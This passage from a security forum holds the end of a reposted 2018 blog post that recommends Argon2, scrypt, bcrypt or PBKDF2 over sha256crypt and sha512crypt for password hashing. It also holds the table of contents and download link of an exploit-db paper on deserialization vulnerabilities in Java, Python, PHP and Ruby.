increasing the cost of production. scrypt recommends a default RAM cost of at least 16 MB. I like to think of these expensive functions as "security by obesity". scrypt was initially created as an expensive KDF for his backup service Tarsnap. Tarsnap generates client-side encryption keys, and encrypts your data on the client, before shipping the encrypted payload off to Tarsnap's servers. If at any event your client is lost or stolen, generating the encryption keys requires knowing the password that created them, and attempting to discover that password, just like typical password hashing functions, should be slow. It's now been 9 years as of this post, since Dr. Percival introduced scrypt to the world, and like bcrypt, it has withstood the test of time. It has received, and continues to receive extensive cryptanalysis, is not showing any critical flaws or weaknesses, and as such is among the top choices as a recommendation from security professionals for password hashing and key derivation. How does it fare with its execution time per password length? scrypt 1-128 characters scrypt 1-512 characters scrypt 1-4,096 characters I'm seeing a trend here. The Password Hashing Competition winner Argon2 In 2013, an open public competition, in the spirit of AES and SHA-3, was held to create a password hashing function that approached password security from what we knew with modern cryptography and password security. There were many interesting designs submitted, including a favorite of mine by Dr. Thomas Pornin of StackExchange fame and BearSSL, that used delegation to reduce the work load on the honest, while still making it expensive for the password cracker. In July 2015, the Argon2 algorithm was chosen as the winner of the competition. It comes with a clean approach of CPU and memory hardness, making the parameters easy to tweak, test, and benchmark. Even though the algorithm is relatively new, it has seen at least 5 years of analysis, as of this writing, and has quickly become the "Gold Standard" for password hashing. I fully recommend it for production use. Any bets on how it will execution times will be affected by password length? Let's look: Argon2 1-128 characters Argon2 1-512 characters Argon2 1-4,096 characters Execution time is not affected by password length. Imagine that. It's as if cryptographers know what they're doing when designing this stuff. Conclusion Ulrich Drepper tried creating something more secure than md5crypt, and ended up creating something worse. Don't use sha256crypt or sha512crypt; they're dangerous. For hashing passwords, in order of preference, use with an appropriate cost: Argon2 or scrypt (CPU and RAM hard) bcrypt or PBKDF2 (CPU hard only) Avoid practically everything else: md5crypt, sha256crypt, and sha512crypt Any generic cryptographic hashing function (MD5, SHA-1, SHA-2, SHA-3, BLAKE2, etc.) Any complex homebrew iterative design (10,000 iterations of salted SHA-256, etc.) Any encryption design (AES, Blowfish (ugh), ChaCha20, etc.) Acknowledgement Thanks to Steve Thomas (@Sc00bzT) for our discussions on Twitter for helping me see this quirky behavior with sha256crypt and sha512crypt. Posted by Aaron Toponce on Wednesday, May 23, 2018, at 6:56 am. Sursa: https://pthree.org/2018/05/23/do-not-use-sha256crypt-sha512crypt-theyre-dangerous/
  24. Table of Contents Serialization (marshaling): ............................................................................................................................ 4 Deserialization (unmarshaling): .................................................................................................................... 4 Programming language support serialization: ............................................................................................... 4 Risk for using serialization: .......................................................................................................................... 5 Serialization in Java ...................................................................................................................................... 6 Deserialization vulnerability in Java: ............................................................................................................ 6 Code flow work........................................................................................................................................... 11 Vulnerability Detection: .............................................................................................................................. 12 CVE: ........................................................................................................................................................... 17 Tools: .......................................................................................................................................................... 17 Vulnerable libraries lead to RCE: ............................................................................................................... 18 Mitigation: .................................................................................................................................................. 19 Serialization in Python ................................................................................................................................ 20 Deserialization vulnerability in Python: ..................................................................................................... 21 Pickle instructions ....................................................................................................................................... 25 Exploit vulnerability: .................................................................................................................................. 26 CVE: ........................................................................................................................................................... 29 Mitigation: .................................................................................................................................................. 29 Serialization in PHP .................................................................................................................................... 30 Deserialization vulnerability in PHP: ......................................................................................................... 30 Exploit vulnerability: .................................................................................................................................. 35 CVE: ........................................................................................................................................................... 39 Mitigation: .................................................................................................................................................. 40 Serialization in Ruby ................................................................................................................................... 41 Deserialization vulnerability in Ruby: ........................................................................................................ 42 Detect and exploit vulnerability: ................................................................................................................ 44 CVE: ........................................................................................................................................................... 53 Tools: .......................................................................................................................................................... 53 Mitigation: .................................................................................................................................................. 53 Conclusion: ................................................................................................................................................. 56 Download: https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf?rss
      • 1
      • Upvote
×
×
  • Create New...